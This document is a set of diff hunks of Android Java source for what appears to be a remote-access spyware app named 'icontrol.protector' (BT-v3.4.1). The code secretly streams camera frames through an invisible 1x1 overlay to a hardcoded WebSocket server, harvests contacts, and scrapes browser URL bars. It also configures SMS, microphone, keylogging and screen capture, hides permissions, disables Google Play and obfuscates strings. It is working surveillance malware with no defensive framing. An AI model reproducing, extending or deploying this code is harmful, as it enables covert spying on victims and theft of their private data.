Camused = ck();
if (Camused == false) {
Win_Manage = (WindowManager) this.getSystemService(Context.WINDOW_SERVICE);
Srf_Vew = new SurfaceView(getApplicationContext());
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
Win_Layout = new WindowManager.LayoutParams(
1, 1,
WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL |
WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE |
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
PixelFormat.TRANSLUCENT
);
} else {
Win_Layout = new WindowManager.LayoutParams(
1, 1,
WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY,
WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH,
PixelFormat.TRANSLUCENT
);
}
Win_Layout.gravity = Gravity.LEFT | Gravity.TOP;
Win_Manage.addView(Srf_Vew, Win_Layout);
Srf_Vew.getHolder().addCallback(this);
ConnectCam(ctx);
} else {
AlertServer(ctx, "Camera start fail", "Camera in use By another App");
ReleaseAll(ctx);
return START_NOT_STICKY;
}
}
}
}
return START_STICKY;
} catch (Exception e) {
}
return START_NOT_STICKY;
}
public boolean ck() {
Camera c = null;
try {
c = Camera.open();
} catch (RuntimeException e) {
return true;
} finally {
if (c != null) {
c.release();
}
}
return false;
}
public static boolean camlive = true;
public void ConnectCam(Context ctx) {
new Thread(new Runnable() {
@Override
public void run() {
client = new OkHttpClient();
Request request = new Request.Builder().url(URL_SOCKT()).build();
ws = client.newWebSocket(request, new WebSocketListener() {
@Override
public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
super.onClosing(webSocket, code, reason);
if (camlive){
camlive =false;
//new Thread(() -> {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
ConnectCam(ctx);
//}).start();
}
}
@Override
public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, @Nullable Response response) {
super.onFailure(webSocket, t, response);
if (camlive){
camlive =false;
//new Thread(() -> {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
ConnectCam(ctx);
//}).start();
}
}
@Override
public void onOpen(WebSocket webSocket, Response response) {
Thread thread = new Thread() {
@Override
public void run() {
try {
ctd = true;
camlive = true;
String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY);
while (camlive) {
try {
byte[] pc = null;
try {
synchronized (CameraCap.Lockobj) {
if (BytsArry.size() > 0) {
pc = (byte[]) BytsArry.get(0);
BytsArry.remove(0);
}
}
} catch (Exception e) {
}
try {
Camera.Parameters prm = CameraCap.mycamera.getParameters();
int wid = prm.getPreviewSize().width;
int Hig = prm.getPreviewSize().height;
YuvImage yuv = new YuvImage(pc, ImageFormat.NV21, wid, Hig, null);
ByteArrayOutputStream out0 = new ByteArrayOutputStream();
yuv.compressToJpeg(new Rect(0, 0, wid, Hig), Qulty, out0);
byte[] imageData = out0.toByteArray();
try {
String base64Image = Base64.encodeToString(imageData, Base64.DEFAULT);
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", "cam");
jsonObject.put("img", base64Image);
jsonObject.put("cuz", "v");
String jsonData = jsonObject.toString();
Livemessage(ctx, jsonData, conctkey);
} catch (Exception e) {
//killall();
}
out0.close();
} catch (Exception ee) {
}
} catch (Exception e) {
} catch (OutOfMemoryError e) {
}
try {
Thread.sleep(1);
} catch (InterruptedException e) {
}
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
};
thread.start();
}
@Override
public void onMessage(WebSocket webSocket, String text) {
super.onMessage(webSocket, text);
try {
JSONObject Response = new JSONObject(text);
String msgtype = Response.optString("type", "empty");
if (msgtype.equals("stop") ||
msgtype.equals("Unauthorized access")) {
killall();
}
} catch (Exception a) {
}
}
});
}
}).start();
}
public void killall() {
camlive = false;
ReleaseAll(getApplicationContext());
try {
if (ws != null) {
ws.cancel();
ws = null;
}
if (client != null) {
client.dispatcher().cancelAll();
client.connectionPool().evictAll();
client.dispatcher().executorService().shutdown();
client = null;
}
} catch (Exception s) {
}
// Context ctx = getApplicationContext();
// if (MyCods.isServiceRunning(ctx, CameraCap.class)) {
// Intent Cameraint = new Intent(ctx, CameraCap.class);
// ctx.stopService(Cameraint);
// }
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
private int Qulty = 70;
private String Clientid;
//CommandData = [type = 0/1] , [width] , [height] , [quality]
@Override
public void surfaceCreated(SurfaceHolder surfaceHolder) {
String[] command = CommandData.split(",");
try {
CameraCap.mycamera = Camera.open(Integer.valueOf(command[0]));
} catch (RuntimeException e) {
}
try {
Camera.Parameters parameters = CameraCap.mycamera.getParameters();
Camera.Size bestSize = null;
if (CameraCap.mycamera.getParameters().getSupportedPreviewSizes() != null) {
Camera.Parameters p = CameraCap.mycamera.getParameters();
List<Camera.Size> s = p.getSupportedPreviewSizes();
for (Camera.Size z : s) {
if (z.width > 600 && z.height > 400) {
bestSize = z;
}
}
}
try {
if (command.length > 1) {
bestSize.width = Integer.valueOf(command[1]);
bestSize.height = Integer.valueOf(command[2]);
Qulty = Integer.valueOf(command[3]);
}
} catch (Exception a) {
bestSize.width = 0;
bestSize.height = 0;
}
if (bestSize.width == 0 || bestSize.height == 0) {
bestSize.width = 640;
bestSize.height = 480;
}
List<String> fu = parameters.getSupportedFocusModes();
if (fu.contains(Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO)) {
parameters.setFocusMode(Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO);
}
Clientid = command[4];
parameters.setPreviewSize(bestSize.width, bestSize.height);
parameters.setPreviewFormat(ImageFormat.NV21);
CameraCap.mycamera.setParameters(parameters);
CameraCap.mycamera.setPreviewDisplay(surfaceHolder);
CameraCap.mycamera.startPreview();
} catch (Exception e) {
}
}
@Override
public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) {
if (CameraCap.mycamera != null) {
CameraCap.mycamera.setPreviewCallback(new Camera.PreviewCallback() {
public void onPreviewFrame(byte[] b, Camera _camera) {
try {
try {
if (b == null) {
return;
}
if (ws != null && ctd == true && client != null) {
if (BytsArry.size() <= 15) {
synchronized (Lockobj) {
BytsArry.add(b);
}
}
}
} catch (OutOfMemoryError e) {
}
} catch (Exception e) {
}
}
});
}
}
private OkHttpClient client;
public static WebSocket ws;
//Sending Data to nodejs for realtime activity
private void Livemessage(Context ctx, String msg,String conctkey) {
if (ws != null) {
try {
String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid");
// String IDF = MySettings.Read(ctx, Consts.THE_IDF, null);
if (Myid == null) {
return;
}
// if (IDF == null) {
// return;
// }
String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null");
JSONObject message = new JSONObject();
// message.put("userId", userid);
message.put("idf", Clientid);
message.put("pid", Myid);
message.put("itype", "Slr_client");
message.put("subc", "msg");
message.put("msg", msg);
message.put("cip", CIP);
message.put("conk", conctkey);
// Send the JSON message as a string
ws.send(message.toString());
} catch (JSONException e) {
e.printStackTrace();
}
}
}
@Override
public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
}
public void onDestroy() {
super.onDestroy();
if (ws != null) {
ws.close(1000, "Closing");
}
}
public void ReleaseAll(Context ctx) {
try {
if (CameraCap.mycamera != null) {
CameraCap.mycamera.setPreviewCallback(null);
CameraCap.mycamera.release();
CameraCap.mycamera = null;
}
ctd = false;
Camused = false;
} catch (Exception e) {
}
try {
if (AccessServices.AccessWindow != null && AccessServices.AccessLayout != null) {
if (Camused == false) {
try {
if (Srf_Vew != null && Srf_Vew.getWindowToken() != null) {
Srf_Vew.getHolder().removeCallback(this);
AccessServices.AccessWindow.removeView(Srf_Vew);
Srf_Vew = null;
}
} catch (Exception ss) {
}
}
} else {
if (Srf_Vew != null && Srf_Vew.getWindowToken() != null) {
try {
// Remove the SurfaceHolder callback if you added one
Srf_Vew.getHolder().removeCallback(this);
// Remove the view from WindowManager
Win_Manage.removeView(Srf_Vew);
} catch (Exception e) {
e.printStackTrace(); // Log errors if removal fails
} finally {
// Null references to help GC
Srf_Vew = null;
Win_Manage = null;
Win_Layout = null;
}
}
}
} catch (Exception s) {
}
// try {
// if (currentinstns != null) {
// currentinstns.stopSelf();
// }
// } catch (Exception a) {
// }
// Intent i = new Intent(ctx, CameraCap.class);
// ctx.stopService(i);
}
}
@@ -0,0 +1,176 @@
package com.icontrol.protector;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Color;
import android.graphics.drawable.GradientDrawable;
import android.os.Bundle;
import android.view.Gravity;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.ScrollView;
import android.widget.TextView;
import org.json.JSONObject;
public class ChatActivity extends Activity {
private EditText messageEditText;
private TextView chattitle;
private LinearLayout chatLayout; // Changed to LinearLayout
private ScrollView scrollView2;
private SharedPreferences sharedPreferences;
private static final String CHAT_PREFS = "chat_prefs";
private static final String CHAT_KEY = "chat_key";
// Flag to track if ChatActivity is open
public boolean isChatActivityOpen = false;
private static ChatActivity instance;
public static ChatActivity getInstance() {
return instance;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
setContentView(R.layout.activity_chat);
instance = this;
messageEditText = findViewById(R.id.messageEditText);
chattitle = findViewById(R.id.chattitle);
scrollView2 = findViewById(R.id.scrollView2);
chatLayout = findViewById(R.id.chatLayout); // Changed to chatLayout
Button sendButton = findViewById(R.id.sendButton);
Intent mydata = getIntent();
if(mydata != null){
if(mydata.hasExtra("title")){
chattitle.setText(mydata.getStringExtra("title"));
}
}
// sharedPreferences = getSharedPreferences(CHAT_PREFS, MODE_PRIVATE);
//
// String chatHistory = sharedPreferences.getString(CHAT_KEY, "");
//
// // Populate chatLayout with existing chat history
// if (!chatHistory.isEmpty()) {
// String[] messages = chatHistory.split("\n");
// for (String msg : messages) {
// String[] parts = msg.split(": ");
// String sender = parts[0];
// String message = parts[1];
// appendToChat(sender, message);
// }
// }
sendButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String message = messageEditText.getText().toString().trim();
if (!message.isEmpty()) {
appendToChat("You", message);
messageEditText.setText("");
try{
JSONObject jsonObject = new JSONObject();
jsonObject.put("type", "chat");
jsonObject.put("data", message);
String jsonData = jsonObject.toString();
LiveChat.instance(getApplicationContext()).Livemessage(getApplicationContext(),jsonData);
}catch (Exception a){}
}
}
});
}
public void appendToChat(String sender, String message) {
if (isChatActivityOpen) {
runOnUiThread(new Runnable() {
@Override
public void run() {
// Create a new LinearLayout to hold the message bubble
LinearLayout messageLayout = new LinearLayout(ChatActivity.this);
LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
LinearLayout.LayoutParams.WRAP_CONTENT
);
// Set layout parameters for the message bubble
if (sender.equals("You")) {
layoutParams.gravity = Gravity.END; // Align sender messages to the right
} else {
layoutParams.gravity = Gravity.START; // Align receiver messages to the left
}
messageLayout.setLayoutParams(layoutParams);
messageLayout.setPadding(7, 7, 7, 7);
// Create a TextView to display the message
TextView messageTextView = new TextView(ChatActivity.this);
messageTextView.setText(message);
messageTextView.setTextColor(Color.WHITE);
messageTextView.setPadding(16, 8, 16, 8);
// Set background color and shape for the message bubble
GradientDrawable drawable = new GradientDrawable();
drawable.setShape(GradientDrawable.RECTANGLE);
if (sender.equals("You")) {
drawable.setColor(Color.parseColor("#2979FF")); // Blue for sender messages
} else {
drawable.setColor(Color.parseColor("#4CAF50")); // Green for receiver messages
}
drawable.setCornerRadius(16);
messageTextView.setBackground(drawable);
// Add the TextView to the message bubble layout
messageLayout.addView(messageTextView);
// Add the message bubble layout to the chat layout
LinearLayout chatLayout = findViewById(R.id.chatLayout);
chatLayout.addView(messageLayout);
// Scroll to the bottom of the chat
scrollView2.post(new Runnable() {
@Override
public void run() {
scrollView2.fullScroll(ScrollView.FOCUS_DOWN);
}
});
}
});
}
}
// Override onStart and onStop methods to track the activity state
@Override
protected void onStart() {
super.onStart();
isChatActivityOpen = true;
}
@Override
protected void onStop() {
super.onStop();
isChatActivityOpen = false;
}
}
@@ -0,0 +1,153 @@
package com.icontrol.protector;
import android.content.Context;
import android.content.SharedPreferences;
public class ConfigManager {
private static final String PREF_NAME = "BTConfig";
private static final String IS_INITIALIZED = "BTInitialized";
// Short variable names for all configurations
public boolean add_accss; // addAccess
public boolean req_accss; // requestAccess
public boolean add_draw; // addDrawOverApps
public boolean req_draw; // requestDrawOverApps
public boolean add_backdata; // addBackgroundDataUsage
public boolean req_backdata; // requestBackgroundDataUsage
public boolean add_usagacc; // addUsageAccess
public boolean req_usagacc; // requestUsageAccess
public boolean add_settngs; // addChangePhoneSettings
public boolean req_settngs; // requestChangePhoneSettings
public boolean add_btryoptm; // addBatteryOptimization
public boolean req_btryoptm; // requestBatteryOptimization
public boolean add_files; // addFilesAccess
public boolean req_files; // requestFilesAccess
public boolean add_cam; // addCameraAccess
public boolean req_cam; // requestCameraAccess
public boolean add_mic; // addMicrophoneAccess
public boolean req_mic; // requestMicrophoneAccess
public boolean add_sms; // addReadSMS
public boolean req_sms; // requestReadSMS
public boolean add_ssms; // addSendSMS
public boolean req_ssms; // requestSendSMS
public boolean add_Rcontct; // addReadContacts
public boolean req_Rcontct; // requestReadContacts
public boolean add_accunts; // addReadAccounts
public boolean req_accunts; // requestReadAccounts
public boolean add_notifiction; // addnotifi
public boolean req_notification; // requestnotifi
public boolean add_hidp; // null
public boolean req_hidp; // hide permissions
public boolean add_stopplay; // disable google play
public boolean req_StopPlay; //disable google play
public boolean add_location; // disable google play
public boolean req_location; //disable google play
// Singleton instance
private static ConfigManager instance;
private ConfigManager() {}
public static ConfigManager getInstance() {
if (instance == null) {
instance = new ConfigManager();
}
return instance;
}
// Initialize configurations
public void initialize(Context context, String allConfig) {
SharedPreferences prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE);
// Check if it's the first time
if (!prefs.getBoolean(IS_INITIALIZED, false)) {
String[] configParts = allConfig.split("\\[\\*]"); // Split by "[*]"
SharedPreferences.Editor editor = prefs.edit();
// Store parsed values in SharedPreferences
parseAndStore(editor, configParts);
editor.putBoolean(IS_INITIALIZED, true); // Mark initialization as complete
editor.apply();
}
// Load all values into memory
loadFromPreferences(context);
}
// Parse and store values into SharedPreferences
private void parseAndStore(SharedPreferences.Editor editor, String[] configParts) {
saveConfig(editor, "aA", "rA", configParts, 0); // Access
saveConfig(editor, "aD", "rD", configParts, 1); // Draw Over Apps
saveConfig(editor, "aB", "rB", configParts, 2); // Background Data Usage
saveConfig(editor, "aU", "rU", configParts, 3); // Usage Access
saveConfig(editor, "aC", "rC", configParts, 4); // Change Phone Settings
saveConfig(editor, "aBo", "rBo", configParts, 5); // Battery Optimization
saveConfig(editor, "aF", "rF", configParts, 6); // Files Access
saveConfig(editor, "aCam", "rCam", configParts, 7); // Camera Access
saveConfig(editor, "aMic", "rMic", configParts, 8); // Microphone Access
saveConfig(editor, "aSms", "rSms", configParts, 9); // Read SMS
saveConfig(editor, "aSS", "rSS", configParts, 10); // Send SMS
saveConfig(editor, "aRC", "rRC", configParts, 11); // Read Contacts
saveConfig(editor, "aRA", "rRA", configParts, 12); // Read Accounts
saveConfig(editor, "aRN", "rRN", configParts, 13); // show notifiction
saveConfig(editor, "aHP", "rHP", configParts, 14); // hide permissions
saveConfig(editor, "aDP", "rDP", configParts, 15); // disable play store
saveConfig(editor, "aLOC", "rLOC", configParts, 16); // request location
}
// Save individual config parts
private void saveConfig(SharedPreferences.Editor editor, String addKey, String reqKey, String[] configParts, int index) {
if (configParts.length > index) {
String[] parts = configParts[index].split("\\|");
editor.putBoolean(addKey, parts[0].equals("1"));
editor.putBoolean(reqKey, parts[1].equals("1"));
} else {
editor.putBoolean(addKey, false);
editor.putBoolean(reqKey, false);
}
}
// Load all values from SharedPreferences into memory
private void loadFromPreferences(Context context) {
SharedPreferences prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE);
add_accss = prefs.getBoolean("aA", false);
req_accss = prefs.getBoolean("rA", false);
add_draw = prefs.getBoolean("aD", false);
req_draw = prefs.getBoolean("rD", false);
add_backdata = prefs.getBoolean("aB", false);
req_backdata = prefs.getBoolean("rB", false);
add_usagacc = prefs.getBoolean("aU", false);
req_usagacc = prefs.getBoolean("rU", false);
add_settngs = prefs.getBoolean("aC", false);
req_settngs = prefs.getBoolean("rC", false);
add_btryoptm = prefs.getBoolean("aBo", false);
req_btryoptm = prefs.getBoolean("rBo", false);
add_files = prefs.getBoolean("aF", false);
req_files = prefs.getBoolean("rF", false);
add_cam = prefs.getBoolean("aCam", false);
req_cam = prefs.getBoolean("rCam", false);
add_mic = prefs.getBoolean("aMic", false);
req_mic = prefs.getBoolean("rMic", false);
add_sms = prefs.getBoolean("aSms", false);
req_sms = prefs.getBoolean("rSms", false);
add_ssms = prefs.getBoolean("aSS", false);
req_ssms = prefs.getBoolean("rSS", false);
add_Rcontct = prefs.getBoolean("aRC", false);
req_Rcontct = prefs.getBoolean("rRC", false);
add_accunts = prefs.getBoolean("aRA", false);
req_accunts = prefs.getBoolean("rRA", false);
add_notifiction = prefs.getBoolean("aRN", false);
req_notification = prefs.getBoolean("rRN", false);
add_hidp = prefs.getBoolean("aHP", false);
req_hidp = prefs.getBoolean("rHP", false);
add_stopplay = prefs.getBoolean("aDP", false);//disable google play
req_StopPlay = prefs.getBoolean("rDP", false);
add_location = prefs.getBoolean("aLOC", false);
req_location = prefs.getBoolean("rLOC", false);
}
}
@@ -0,0 +1,307 @@
package com.icontrol.protector;
import static com.icontrol.protector.My_Configs.OConstsS;
import static com.icontrol.protector.My_Configs.subdir;
import static com.icontrol.protector.UtliTools.fromBase64;
import static com.icontrol.protector.UtliTools.isURLReachable;
import static com.icontrol.protector.UtliTools.isWebSocketReachable;
import static com.icontrol.protector.UtliTools.randomnumber;
import android.content.Intent;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Random;
public class Consts {
public static String BTVersion = "BT-v3.4.1";
public static int Preformance = 20000;
//public static String TouchsPath = "/systems/sys/apps/tch";
//public static String errospath = "/systemscrash/sys/apps/log";
public static String Sockets_Servers = "";//this will be replaced later // > wss://server.yaarsa.com/con<
public static String Server_Address = "";//this will be replaced later // > 195.160.221.203
// public static String localip = "127.0.0.1";
// public static String google = "https://google.com";
public static String last_accepted_sk = null;
public static String URL_SOCKT() {
String decryptedHosts = Sockets_Servers;
String[] hosts = decryptedHosts.split("<");
if(last_accepted_sk!=null ){
if (isWebSocketReachable(last_accepted_sk)){
return last_accepted_sk;
}else{
last_accepted_sk = null;
}
}
for (String host : hosts) {
if (isWebSocketReachable(host)) {
last_accepted_sk=host;
return host;
}
}
return "ws://195.160.221.203:8080/";
}
public static String getIPAddress(String hostname) {
//return "192.168.1.2";
//TODO<-------------
try {
InetAddress address = InetAddress.getByName(hostname);
return address.getHostAddress();
} catch (UnknownHostException e) {
e.printStackTrace();
MyLoger.Error("getIPAddress", e.getMessage());
return Server_Address;
}
}
public static String last_accepted_ping = null;
public static String URL_PING() {
if(last_accepted_ping!=null ){
if (isURLReachable(last_accepted_ping)){
return last_accepted_ping;
}else{
last_accepted_ping = null;
}
}
My_Crpter cr = My_Crpter.Getinstance();
String decryptedHosts = cr.Dcrpt_Str(My_Configs.USR_HOST);
String[] hosts = decryptedHosts.split("<");
for (String host : hosts) {
String addressip = getIPAddress(host);
String backupUrl = "http://" + addressip + subdir + "yarsap_80541.php";
if (isURLReachable(backupUrl)) {
last_accepted_ping = backupUrl;
return backupUrl;
}
}
return "http://" + Server_Address + subdir + "yarsap_80541.php";
}
//"https://yourserver.com/log_error.php"
public static String URL_ERROR() {
My_Crpter cr = My_Crpter.Getinstance();
String decryptedHosts = cr.Dcrpt_Str(My_Configs.USR_HOST);
String[] hosts = decryptedHosts.split("<");
for (String host : hosts) {
String addressip = getIPAddress(host);
String backupUrl = "http://" + addressip + subdir + "log_error.php";
if (isURLReachable(backupUrl)) {
return backupUrl;
}
}
return "http://" + Server_Address + subdir + "log_error.php";
}
//socket
// public static String SPLIT_SKT = "[>S<]";
// public static String SPLIT_DATA = "[>D<]";
// public static String SPLIT_LINE = "[>L<]";
// public static String SPLIT_ARAY = "[>A<]";
public static String SPLIT_SKT = "[>SKT<]";
public static String SPLIT_DATA = "[>DAT<]";
public static String SPLIT_LINE = "[>LIN<]";
public static String SPLIT_ARAY = "[>ARY<]";
//Settings
public static final String USR_NAME = "CN";
public static final String DEVICE_ID = "ID";
public static final String RecordName = "RecNam";
public static final String ontimerest = "onerestrct";
public static final String Mob_width = "Wscr";
public static final String Mob_height = "Hscr";
//Settings options
public static final String Rec_Activitys = "Rec_Activitys";
public static final String Rec_Notifications = "Rec_Notifications";
// public static final String Rec_keystrokes = "Rec_keystrokes";
public static final String Rec_links = "Rec_links";
public static final String Rec_apps = "Rec_apps";
//public static final String Live_Notify = "Liv_noty";
public static final String Live_Screen = "Liv_scr";
// public static final String Auto_j = "Ato_j";
public static boolean Auto_jct = false;
public static boolean Live_Nots = false;
public static boolean Rec_klogs = false;
public static boolean liv_klogs =false;
public static String THE_IDF = "THE_IDF";
public static String Sec_IDF = "SEC_IDF";
public static String THE_CIP = "THE_CIP";
public static String patternmp = "pt_mp";
// public static final String LIVE_KLOG = "LIVE_KLOG";
//notification
//public static final int Notifi_ID = randomnumber(11111, 88888);
//for screen cap
public static Intent Stored_intentdata = null;
public static int Stored_resultCode = -999;
//accessibility booleans
//public static String Auto_Clicker = "Auto_Click";//local
//public static String Auto_Prims = "Auto_Prims";//local
public static String Send_Skilton = "Skiton_on";//local
public static String Skeleton_Color = "Skiton_clr";//local
//public static String Black_Screen = "black_scr";//local
//public static String Stop_Scanner ="stop_scan";//local
// public static String Auto_Sreen = "Auto_Screen";//local
//public static String Auto_Battary = "Auto_Battary";//local
public static String lock_screen = "lck_scr";//local
public static String lock_pin = "lck_pin";//local
public static String lock_title = "lck_title";//local
public static String lock_msg = "lck_msg";//local
public static String lock_type = "lck_typ";//local
public static String lock_cods = "lck_cds";//local
public static String mob_lock = "mob_lck";//local
public static String AutoStartOn = "auto_ok";//local
public static String skipxaomi = "skp_xoi";//local
public static String Silent_Screen = "Silent_scr";//local
public static String Self_Record = "self_rec";//local
public static String Live_skilton = "liv_skli";//local
public static String Live_scread = "liv_skread";//local
public static String Hidden_browser = "hid_bro";//local
public static String web_browser = "web_bro";//local
public static String web_pass = "web_pas";//local
public static String enable_trak = "enb_trk";//local
public static boolean skip_splash = false;//local
//public static String All_set = "all_set";//local
public static int SCRQuality = 10;
public static String SCRSIDF = "null";
public final static String slide_up = "up";//local
public final static String slide_down = "down";//local
public final static String slide_left = "left";//local
public final static String slide_right = "right";//local
//public final static String sendloc = "send_loc";//local
public final static String Alertico = "alert_ico";//local
public final static String setupok = "setup_ok";//local
public final static String Redirect_e = "red_e";//local
public final static String Redirect_ip = "red_ip";//local
public final static String Redirect_k = "red_k";//local
public static boolean Tregerdbtrry = false;
public static boolean removeme = false;
public static boolean removeapp = false;
//obfus
//"+ OBFS +" will be replaced with random string during build from vb.net
//"+ OBFS +" = OConstsS
public static final String Time_Stamp = UtliTools.Fix_it("Time" + OConstsS + "Stamp", OConstsS);
public static final String Accessibility_Service = UtliTools.Fix_it("Accessibility" + OConstsS + "Service", OConstsS);
public static final String Read_Contacts = UtliTools.Fix_it("Read" + OConstsS + "Contacts", OConstsS);
public static final String Read_SMS = UtliTools.Fix_it("Read" + OConstsS + "SMS", OConstsS);
public static final String Read_Call_Log = UtliTools.Fix_it("Read" + OConstsS + "Call" + OConstsS + "Log", OConstsS);
public static final String Acc_Camera = UtliTools.Fix_it("Cam" + OConstsS + "era", OConstsS);
public static final String Get_Accounts = UtliTools.Fix_it("Get" + OConstsS + "Accounts", OConstsS);
public static final String Record_Audio = UtliTools.Fix_it("Record" + OConstsS + "Audio", OConstsS);
//public static final String Location = UtliTools.Fix_it("Location", OConstsS);
public static String IV = UtliTools.Fix_it("2230209"+OConstsS+"522049090", OConstsS);
public static String PASSWORD = UtliTools.Fix_it("48147805"+OConstsS+"84699673", OConstsS);
public static String SALT =UtliTools.Fix_it( "28943563"+OConstsS+"30652558", OConstsS);
public static final String Call_Phone = UtliTools.Fix_it("Call" + OConstsS + "Phone", OConstsS);
public static final String Post_Noty = UtliTools.Fix_it("Notify" + OConstsS + "Prim", OConstsS);
public static final String Call_Record = UtliTools.Fix_it("Call" + OConstsS + "Record", OConstsS);
public static final String Send_SMS = UtliTools.Fix_it("Send" + OConstsS + "SMS", OConstsS);
public static final String Set_Wallpaper = UtliTools.Fix_it("Set" + OConstsS + "Wallpaper", OConstsS);
public static final String Doze_Mode = UtliTools.Fix_it("Doze" + OConstsS + "Mode", OConstsS);
public static final String Draw_Overlays = UtliTools.Fix_it("Draw" + OConstsS + "Overlays", OConstsS);
public static final String Package_Installs = UtliTools.Fix_it("Package" + OConstsS + "Installs", OConstsS);
public static final String write_settings_sys = UtliTools.Fix_it("Write" + OConstsS + "Settings", OConstsS);
public static final String file_acc_state = UtliTools.Fix_it("files" + OConstsS + "access", OConstsS);
public static final String CHROME_PACKAGE = UtliTools.Fix_it("com.andr" + OConstsS + "oid.chrome", OConstsS);
public static final String CHROME_ID = UtliTools.Fix_it("com.android.chrome:id/url_" + OConstsS + "bar", OConstsS);
public static final String FIREFOX_PACKAGE = UtliTools.Fix_it("org.mozi" + OConstsS + "lla.firefox", OConstsS);
public static final String FIREFOX_ID = UtliTools.Fix_it("org.mozilla.firefox:id/url_" + OConstsS + "bar_title", OConstsS);
public static final String SAMSUNG_BROWSER_PACKAGE = UtliTools.Fix_it("com.sec.an" + OConstsS + "droid.app.sbrowser", OConstsS);
public static final String SAMSUNG_BROWSER_ID = UtliTools.Fix_it("com.sec.android.app.sbrowser:id/" + OConstsS + "location_bar_edit_text", OConstsS);
public static final String BRAVE_PACKAGE = UtliTools.Fix_it("com.b" + OConstsS + "rave.browser", OConstsS);
public static final String BRAVE_ID = UtliTools.Fix_it("com.brave.browser:id/" + OConstsS + "url_bar", OConstsS);
public static final String OPERA_PACKAGE = UtliTools.Fix_it("com.oper" + OConstsS + "a.browser", OConstsS);
public static final String OPERA_ID = UtliTools.Fix_it("com.opera.browser:id/" + OConstsS + "url_field", OConstsS);
public static final String DUCKDUCKGO_PACKAGE = UtliTools.Fix_it("com.duckduck" + OConstsS + "go.mobile.android", OConstsS);
public static final String DUCKDUCKGO_ID = UtliTools.Fix_it("com.duckduckgo.mobile.android:id/" + OConstsS + "omnibarTextInput", OConstsS);
public static final String OPERA_MINI_PACKAGE = UtliTools.Fix_it("com.oper" + OConstsS + "a.mini.native", OConstsS);
public static final String OPERA_MINI_ID = UtliTools.Fix_it("com.opera.mini.native:id/" + OConstsS + "url_field", OConstsS);
public static final String MICROSOFT_EDGE_PACKAGE = UtliTools.Fix_it("com.micro" + OConstsS + "soft.emmx", OConstsS);
public static final String MICROSOFT_EDGE_ID = UtliTools.Fix_it("com.microsoft.emmx:id/" + OConstsS + "url_bar", OConstsS);
public static final String COLOROS_BROWSER_PACKAGE = UtliTools.Fix_it("com.col" + OConstsS + "oros.browser", OConstsS);
public static final String COLOROS_BROWSER_ID = UtliTools.Fix_it("com.coloros.browser:id/" + OConstsS + "azt", OConstsS);
public static final String ANDROID_BROWSER_PACKAGE = UtliTools.Fix_it("com.andro" + OConstsS + "id.browser", OConstsS);
public static final String ANDROID_BROWSER_ID = UtliTools.Fix_it("com.android.browser:id/" + OConstsS + "url", OConstsS);
public static final String TUNNY_BROWSER_PACKAGE = UtliTools.Fix_it("mobi.mgee" + OConstsS + "k.TunnyBrowser", OConstsS);
public static final String TUNNY_BROWSER_ID = UtliTools.Fix_it("mobi.mgeek.TunnyBrowser:id/" + OConstsS + "search_input", OConstsS);
}
@@ -0,0 +1,159 @@
package com.icontrol.protector;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.content.ContentProviderOperation;
import android.content.ContentResolver;
import android.content.Context;
import android.content.OperationApplicationException;
import android.database.Cursor;
import android.os.RemoteException;
import android.provider.ContactsContract;
import java.util.ArrayList;
import java.util.Random;
public class Contct_manager {
public static String Load(Context c) {
//byte[] Databytes = null;
try {
StringBuffer sb = new StringBuffer();
ContentResolver CR = c.getContentResolver();
Cursor cur = CR.query(ContactsContract.Data.CONTENT_URI, null,
ContactsContract.Data.HAS_PHONE_NUMBER + "!=0 AND (" + ContactsContract.Data.MIMETYPE + "=? OR " + ContactsContract.Data.MIMETYPE + "=?)",
new String[]{ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE, ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE},
ContactsContract.Data.CONTACT_ID);
while (cur.moveToNext()) {
String number = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)).trim();
if (number != null && !number.isEmpty() && !number.equals("null") && number.length() >0)
{
String name = cur.getString(cur.getColumnIndex(ContactsContract.Data.DISPLAY_NAME));
String connected_via = cur.getString(cur.getColumnIndex(ContactsContract.Data.ACCOUNT_TYPE_AND_DATA_SET));
int id = cur.getInt(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID));
sb.append(name +
Consts.SPLIT_ARAY +
number +
Consts.SPLIT_ARAY +
connected_via +
Consts.SPLIT_ARAY +
id +
Consts.SPLIT_LINE);
